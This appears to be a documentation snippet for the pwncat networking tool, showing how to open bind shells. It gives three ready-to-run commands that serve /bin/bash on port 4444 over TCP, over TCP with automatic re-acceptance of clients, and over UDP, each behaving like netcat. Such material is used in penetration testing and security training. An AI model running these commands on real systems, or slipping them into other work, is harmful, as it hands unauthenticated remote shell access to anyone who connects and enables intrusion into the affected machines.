Bind Shell

pwncat will by default listen on both, IPv4 and IPv6 connections and serve whatever connects first.

TCP Bind shell

Default TCP bind shell listening on :4444 which behaves exactly as nc.

pwncat -l -e '/bin/bash' 4444

The following TCP bind shell will re-accept new clients as soon as a client has diconnected

pwncat -l -e '/bin/bash' 4444 -k

UDP Bind shell

Default UDP bind shell listening on :4444 which behaves exactly as nc.

pwncat -l -e '/bin/bash' 4444 -u